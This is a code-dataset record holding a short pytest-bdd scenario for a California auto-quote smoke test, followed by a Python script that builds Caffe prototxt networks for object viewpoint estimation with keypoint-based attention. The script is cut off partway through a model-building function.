features/quotes/quotes_scenarios.py
|
andrewww8711/SmokeTest1
|
b8de5d0a79d865159461e4886f8277cf5759e48b
|
[
"Apache-2.0"
] | null | null | null |
features/quotes/quotes_scenarios.py
|
andrewww8711/SmokeTest1
|
b8de5d0a79d865159461e4886f8277cf5759e48b
|
[
"Apache-2.0"
] | null | null | null |
features/quotes/quotes_scenarios.py
|
andrewww8711/SmokeTest1
|
b8de5d0a79d865159461e4886f8277cf5759e48b
|
[
"Apache-2.0"
] | null | null | null |
from pytest_bdd import scenario
from features.steps.quote_steps import *
@scenario('ca_auto.feature', 'Create California auto quote')
def test_create_ca_auto_quote():
pass
| 19.888889
| 60
| 0.787709
| 26
| 179
| 5.153846
| 0.615385
| 0.208955
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128492
| 179
| 8
| 61
| 22.375
| 0.858974
| 0
| 0
| 0
| 0
| 0
| 0.242938
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0.2
| 0.4
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
2a6e60237906fd8c1897b43ad57ca82f29d0c549
| 88,165
|
py
|
Python
|
view_estimation_correspondences/create_caffe_nets.py
|
rszeto/click-here-cnn
|
cb2781a47eb52043d0c93d7866e1a438418437af
|
[
"MIT"
] | 8
|
2017-11-08T18:36:25.000Z
|
2020-02-11T23:08:55.000Z
|
view_estimation_correspondences/create_caffe_nets.py
|
rszeto/click-here-cnn
|
cb2781a47eb52043d0c93d7866e1a438418437af
|
[
"MIT"
] | 4
|
2017-05-17T14:21:55.000Z
|
2020-02-11T23:08:31.000Z
|
view_estimation_correspondences/create_caffe_nets.py
|
rszeto/click-here-cnn
|
cb2781a47eb52043d0c93d7866e1a438418437af
|
[
"MIT"
] | 7
|
2017-11-08T17:51:19.000Z
|
2020-10-10T18:19:58.000Z
|
import numpy as np
import os
import sys
from warnings import warn
import tempfile
import shutil
from collections import OrderedDict
import time
import tempfile
import subprocess
import pdb
import argparse
# Import global variables
view_estimation_correspondences_path = os.path.dirname(os.path.abspath(__file__))
sys.path.append(os.path.dirname(view_estimation_correspondences_path))
import global_variables as gv
# Import Caffe
sys.path.append(gv.g_pycaffe_path)
import caffe
from caffe.proto import caffe_pb2
from google.protobuf import text_format
from caffe import layers as L
from caffe import params as P
# Define paths
train_models_root_path = os.path.join(gv.g_render4cnn_root_folder, 'train')
# Define common fillers and parameters
DEFAULT_LRN_PARAM = dict(local_size=5, alpha=0.0001, beta=0.75)
DEFAULT_DECAY_PARAM = [dict(decay_mult=1), dict(decay_mult=0)]
NO_LEARN_PARAM = dict(lr_mult=0)
DEFAULT_WEIGHT_FILLER = dict(type='gaussian', std=0.01)
DEFAULT_BIAS_FILLER = dict(type='constant', value=0)
DEFAULT_DROPOUT_RATIO = 0.5
DEFAULT_ANGLE_NAMES = ['azimuth', 'elevation', 'tilt']
DEFAULT_LOSS_WEIGHTS = [1, 1, 1]
BATCH_SIZE = 192
# Parameters for angle softmax+loss
DEFAULT_SOFTMAX_VIEW_LOSS_PARAM_A = dict(bandwidth=15, sigma=5, pos_weight=1, neg_weight=0, period=360)
DEFAULT_SOFTMAX_VIEW_LOSS_PARAM_ET = dict(bandwidth=5, sigma=3, pos_weight=1, neg_weight=0, period=360)
DEFAULT_VIEW_LOSS_PARAMS = [DEFAULT_SOFTMAX_VIEW_LOSS_PARAM_A, DEFAULT_SOFTMAX_VIEW_LOSS_PARAM_ET, DEFAULT_SOFTMAX_VIEW_LOSS_PARAM_ET]
# Parameters for angle accuracy
DEFAULT_ACCURACY_VIEW_PARAM_A = dict(tol_angle=15, period=360)
DEFAULT_ACCURACY_VIEW_PARAM_ET = dict(tol_angle=5, period=360)
DEFAULT_ACCURACY_VIEW_PARAMS = [DEFAULT_ACCURACY_VIEW_PARAM_A, DEFAULT_ACCURACY_VIEW_PARAM_ET, DEFAULT_ACCURACY_VIEW_PARAM_ET]
# Default solver
DEFAULT_SOLVER_DICT = dict(
train_net=None,
test_net=None,
test_iter=15,
test_interval=2000,
base_lr=0.0001,
lr_policy='fixed',
max_iter=150000,
display=20,
momentum=0.9,
momentum2=0.999,
weight_decay=0.0005,
snapshot=2000,
snapshot_prefix='snapshot',
solver_mode='GPU',
type='Adam'
)
'''
Merge the given dictionaries and return the result.
@args:
dict_args (args of type dict): The dictionaries to merge together.
'''
def merge_dicts(*dict_args):
res = dict()
for dict_arg in dict_args:
res.update(dict_arg)
return res
'''
Generate solver text from a dictionary.
@args
d (dict): The dictionary to generate solver text from.
'''
def dict_to_solver_text(d, allow_empty=False):
ret = ''
for key, value in d.iteritems():
if value is None:
if allow_empty:
warn('Generating solver with empty parameter %s' % key)
else:
raise Exception('Solver dictionary has empty parameter %s' % key)
# Figure out if the value needs quotes around it. Strings generally need quotes, except for some stupid cases
if isinstance(value, basestring) and key not in ['solver_mode']:
value = '"%s"' % value
ret += '%s: %s\n' % (key, value)
return ret
'''
Create an in-place ReLU layer.
@args
name (str): Name of the ReLU layer
bottom (str): Name of the blob to apply ReLU to
'''
def relu(name, bottom):
return L.ReLU(name=name, bottom=bottom, top=bottom, in_place=True)
'''
Create an in-place tanh layer.
@args
name (str): Name of the tanh layer
bottom (str): Name of the blob to apply tanh to
'''
def tanh(name, bottom):
return L.TanH(name=name, bottom=bottom, top=bottom, in_place=True)
'''
Create an in-place Dropout layer.
@args
name (str): Name of the Dropout layer
bottom (str): Name of the blob to apply Dropout to
dropout_ratio (float): How often to drop out the activation
'''
def dropout(name, bottom, dropout_ratio=DEFAULT_DROPOUT_RATIO):
return L.Dropout(name=name, bottom=bottom, top=bottom, in_place=True, dropout_param=dict(
dropout_ratio=dropout_ratio
))
'''
Create an InnerProduct (FC) layer with given filler and decay parameters.
@args
name (str): Name of the InnerProduct layer
bottom (str): Name of the input blob for the InnerProduct layer
num_output (int): Number of outputs for the InnerProduct layer
weight_filler (dict): The parameters for the weight filler
bias_filler (dict): The parameters of the bias filler
'''
def innerproduct(name, bottom, num_output, param, weight_filler=DEFAULT_WEIGHT_FILLER, bias_filler=DEFAULT_BIAS_FILLER):
return L.InnerProduct(name=name, bottom=bottom, param=param, inner_product_param=dict(
num_output=num_output, weight_filler=weight_filler, bias_filler=bias_filler
))
'''
Create a LRN layer with given parameters.
@args
name (str): Name of the LRN layer
bottom (str): Name of the input blob for the LRN layer
'''
def lrn(name, bottom, lrn_param=DEFAULT_LRN_PARAM):
return L.LRN(name=name, bottom=bottom, lrn_param=lrn_param)
'''
Augment the given network specification with a split layer with given input and output
@args
net_spec (caffe.NetSpec): The network specification to augment
bottom (str): Name of the input blob for the layer
top (list of str): List of output blob names
'''
def add_split_layer(net_spec, bottom, top):
net_spec[top[0]] = L.Split(bottom=bottom, top=top[1:])
'''
Augment the given network specification with a slice layer with given input and output
@args
net_spec (caffe.NetSpec): The network specification to augment
bottom (str): Name of the input blob for the layer
top (list of str): List of output blob names
slice_param (dict): The slice parameters
'''
def add_slice_layer(net_spec, bottom, top, slice_param):
net_spec[top[0]] = L.Slice(bottom=bottom, top=top[1:], slice_param=slice_param)
'''
Augment the given network specification with a conv layer with optional activation wrappers. Layers are automatically generated based on the name of the base conv layer.
The wrappers are generated in order and named as follows: conv## -> relu## -> pool## -> norm##
@args
net_spec (caffe.NetSpec): The network specification to augment
name (str): Name of the base conv layer
bottom (str): Name of the input blob for the base conv layer
use_relu (bool): Whether to apply ReLU activation to the base conv layer
pooling_param (dict): Parameters for the pooling layer, if desired
lrn_param (dict): Parameters for the LRN layer, if desired
'''
def add_wrapped_conv_layer(net_spec, name, bottom, conv_param, param=None, use_relu=True, pooling_param=None, lrn_param=None):
assert(name[:4] == 'conv')
if param:
net_spec[name] = L.Convolution(name=name, bottom=bottom, param=param, convolution_param=conv_param)
else:
net_spec[name] = L.Convolution(name=name, bottom=bottom, convolution_param=conv_param)
out_name = name
if use_relu:
relu_name = name.replace('conv', 'relu')
net_spec[relu_name] = relu(relu_name, name)
out_name = name
if pooling_param:
pool_name = name.replace('conv', 'pool')
net_spec[pool_name] = L.Pooling(name=pool_name, bottom=name, pooling_param=pooling_param)
out_name = pool_name
if lrn_param:
lrn_name = name.replace('conv', 'norm')
net_spec[lrn_name] = lrn(lrn_name, out_name, lrn_param=lrn_param)
out_name = lrn_name
return out_name
'''
Augment the given network specification with an InnerProduct (FC) layer with optional activation wrappers. Layers are automatically generated based on the name of the base InnerProduct layer.
The wrappers are generated in order and named as follows: fc## -> relu## -> drop##
@args
net_spec (caffe.NetSpec): The network specification to augment
name (str): Name of the base conv layer
bottom (str): Name of the input blob for the base FC layer
num_output (int): The number of outputs for the base FC layer
use_relu (bool): Whether to apply ReLU activation to the base FC layer
dropout_ratio (float): The dropout ratio, if desired
'''
def add_wrapped_fc_layer(net_spec, name, bottom, num_output, param=DEFAULT_DECAY_PARAM, use_relu=True, dropout_ratio=-1):
assert(name[:2] == 'fc')
net_spec[name] = innerproduct(name, bottom, num_output, param)
if use_relu:
relu_name = name.replace('fc', 'relu')
net_spec[relu_name] = relu(relu_name, name)
if dropout_ratio >= 0:
dropout_name = name.replace('fc', 'drop')
net_spec[dropout_name] = dropout(dropout_name, name)
return name
'''
Augment the given network specification with prediction layers.
@args
net_spec (caffe.NetSpec): The network specification augment
name_prefix (str): The string to append to each output
bottom (str): Name of the input blob for the prediction layers
num_output (int): The number of outputs for each prediction layer
angle_names (str): The names of the angles to predict
'''
def add_prediction_layers(net_spec, name_prefix, bottom, num_output=4320, param=DEFAULT_DECAY_PARAM, angle_names=DEFAULT_ANGLE_NAMES):
for angle_name in angle_names:
pred_name = name_prefix + angle_name
net_spec[pred_name] = innerproduct(pred_name, bottom, num_output, param)
'''
Augment the given network specification with loss and accuracy layers.
@args
net_spec (caffe.NetSpec): The network specification augment
name_prefix (str): The string to append to each output
bottom (str): Name of the input blob for the prediction layers
num_output (int): The number of outputs for each prediction layer
angle_names (str): The names of the angles to predict
'''
def add_loss_acc_layers(net_spec, bottom_prefixes, angle_names=DEFAULT_ANGLE_NAMES, loss_weights=DEFAULT_LOSS_WEIGHTS, loss_param_arr=DEFAULT_VIEW_LOSS_PARAMS, acc_param_arr=DEFAULT_ACCURACY_VIEW_PARAMS):
assert(len(angle_names) == len(loss_weights) == len(loss_param_arr) == len(acc_param_arr))
for i, angle_name in enumerate(angle_names):
# Add loss layer for current angle
loss_name = 'loss_' + angle_name
bottom = [x + angle_name for x in bottom_prefixes]
net_spec[loss_name] = L.SoftmaxWithViewLoss(name=loss_name, bottom=bottom, loss_weight=loss_weights[i], softmax_with_view_loss_param=loss_param_arr[i])
# Add accuracy layer for current angle
acc_name = 'accuracy_' + angle_name
net_spec[acc_name] = L.AccuracyView(name=acc_name, bottom=bottom, accuracy_view_param=acc_param_arr[i])
'''
Get the model prototext string from a Caffe NetSpec.
@args
net_spec (caffe.NetSpec): The network specification argument
'''
def get_prototxt_str(net_spec):
return str(net_spec.to_proto())
'''
Test the validity of the given network parameters.
@args
net_param (caffe.NetParameter): The network parameters to test
'''
def verify_netspec(net_param, net_weights_path=None):
temp_file = tempfile.NamedTemporaryFile()
# Write prototxt to file, and flush to make sure whole prototxt is written
temp_file.write(str(net_param))
temp_file.flush()
# Try to make the net. Caffe will crash everything if it fails. This cannot be caught.
if not net_weights_path:
caffe.Net(temp_file.name, caffe.TRAIN)
else:
caffe.Net(temp_file.name, net_weights_path, caffe.TRAIN)
'''
Delete a layer from a NetParameter by its type.
@args
net_param (caffe.NetParameter): The network parameter object to modify
type_name (str): The type of the layers to delete
'''
def delete_layer_by_type(net_param, type_name):
# Keep track of the names of deleted layers
deleted_layer_names = []
# Go through layers backwards to prevent index inconsistency
layers = net_param.layer._values
for i in reversed(range(len(layers))):
if layers[i].type == type_name:
layer = layers.pop(i)
deleted_layer_names.insert(0, layer.name)
return deleted_layer_names
'''
Delete a layer from a NetParameter by its name.
@args
net_param (caffe.NetParameter): The network parameter object to modify
layer_name (str): The name of the layer to delete
'''
def delete_layer_by_name(net_param, layer_name):
layers = net_param.layer._values
for i in range(len(layers)):
if layers[i].name == layer_name:
layers.pop(i)
return
'''
Create a deployment prototxt string from a NetParameter. This deletes "Data" layers and replaces them with "input" and "input_shape" fields, and deletes view softmax and accuracy layers.
@args
net_param (caffe.NetParameter): The network parameters to generate a deploy prototxt from
data_shapes (dict<str, tuple>): A map from the layer name to the input shape
'''
def netspec_to_deploy_prototxt_str(net_param, data_shapes):
ret = ''
# Get data layer names
layers = net_param.layer._values
data_layer_names = [layer.name for layer in layers if layer.type == 'Data']
# Add input layer specification if it is in both the net parameters and the data shapes
for name, shape in data_shapes.iteritems():
if name in data_layer_names:
ret += 'input: "%s"\ninput_shape {\n' % name
for dim_size in shape:
ret += ' dim: %d\n' % dim_size
ret += '}\n'
else:
warn('netspec_to_deploy_prototxt_str: Skipping unavailable data layer ' + name)
# Create copy of net_param to modify
net_param_copy = caffe_pb2.NetParameter()
text_format.Merge(str(net_param), net_param_copy)
# Delete data, softmax, and accuracy layers
for layer_type in ['Data', 'Silence', 'SoftmaxWithViewLoss', 'AccuracyView']:
delete_layer_by_type(net_param_copy, layer_type)
# Delete label slice layer
delete_layer_by_name(net_param_copy, 'labe-slice')
ret += str(net_param_copy)
return ret
'''
R4CNN
'''
def create_model_r4cnn(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
train_label_lmdb_path = lmdb_paths[1]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'fc-', fc7_out_name)
add_loss_acc_layers(n, ['fc-', 'label_'])
return n.to_proto()
def create_model_chcnn_chessboard(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_map_lmdb_path = lmdb_paths[1]
keypoint_class_lmdb_path = lmdb_paths[2]
train_label_lmdb_path = lmdb_paths[3]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_map'] = L.Data(name='keypoint_map', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_map_lmdb_path)
n['keypoint_class'] = L.Data(name='keypoint_class', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_class_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint map features
scale_keypoint_map_param = dict(filler=dict(value=1/227.0))
pool_keypoint_map_param = dict(pool=P.Pooling.MAX, kernel_size=5, stride=5, pad=3)
reshape_keypoint_map_param = dict(shape=dict(dim=[0, 2116, 1, 1]))
n['scale-keypoint-map'] = L.Scale(name='scale-keypoint-map', bottom='keypoint_map', param=NO_LEARN_PARAM, scale_param=scale_keypoint_map_param)
n['pool-keypoint-map'] = L.Pooling(name='pool-keypoint-map', bottom='scale-keypoint-map', pooling_param=pool_keypoint_map_param)
fc_keypoint_map_name = add_wrapped_fc_layer(n, 'fc-keypoint-map', 'pool-keypoint-map', 2116, use_relu=False)
# Keypoint class features
fc_keypoint_class_name = add_wrapped_fc_layer(n, 'fc-keypoint-class', 'keypoint_class', 34, use_relu=False)
# Attention map
# keypoint_concat_param = dict(axis=1)
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
n['keypoint-concat'] = L.Concat(name='keypoint-concat', bottom=[fc_keypoint_map_name, fc_keypoint_class_name])
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', 'keypoint-concat', 169, use_relu=False)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom=fc_keypoint_concat_name)
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
def create_model_chcnn_manhattan(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_map_lmdb_path = lmdb_paths[1]
keypoint_class_lmdb_path = lmdb_paths[2]
train_label_lmdb_path = lmdb_paths[3]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_map'] = L.Data(name='keypoint_map', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_map_lmdb_path)
n['keypoint_class'] = L.Data(name='keypoint_class', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_class_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint map features
scale_keypoint_map_param = dict(filler=dict(value=1/(227.0 * 2)))
pool_keypoint_map_param = dict(pool=P.Pooling.MAX, kernel_size=5, stride=5, pad=3)
n['scale-keypoint-map'] = L.Scale(name='scale-keypoint-map', bottom='keypoint_map', param=NO_LEARN_PARAM, scale_param=scale_keypoint_map_param)
n['pool-keypoint-map'] = L.Pooling(name='pool-keypoint-map', bottom='scale-keypoint-map', pooling_param=pool_keypoint_map_param)
fc_keypoint_map_name = add_wrapped_fc_layer(n, 'fc-keypoint-map', 'pool-keypoint-map', 2116, use_relu=False)
# Keypoint class features
fc_keypoint_class_name = add_wrapped_fc_layer(n, 'fc-keypoint-class', 'keypoint_class', 34, use_relu=False)
# Attention map
# keypoint_concat_param = dict(axis=1)
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
n['keypoint-concat'] = L.Concat(name='keypoint-concat', bottom=[fc_keypoint_map_name, fc_keypoint_class_name])
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', 'keypoint-concat', 169, use_relu=False)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom=fc_keypoint_concat_name)
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
def create_model_chcnn_euclidean(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_map_lmdb_path = lmdb_paths[1]
keypoint_class_lmdb_path = lmdb_paths[2]
train_label_lmdb_path = lmdb_paths[3]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_map'] = L.Data(name='keypoint_map', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_map_lmdb_path)
n['keypoint_class'] = L.Data(name='keypoint_class', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_class_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
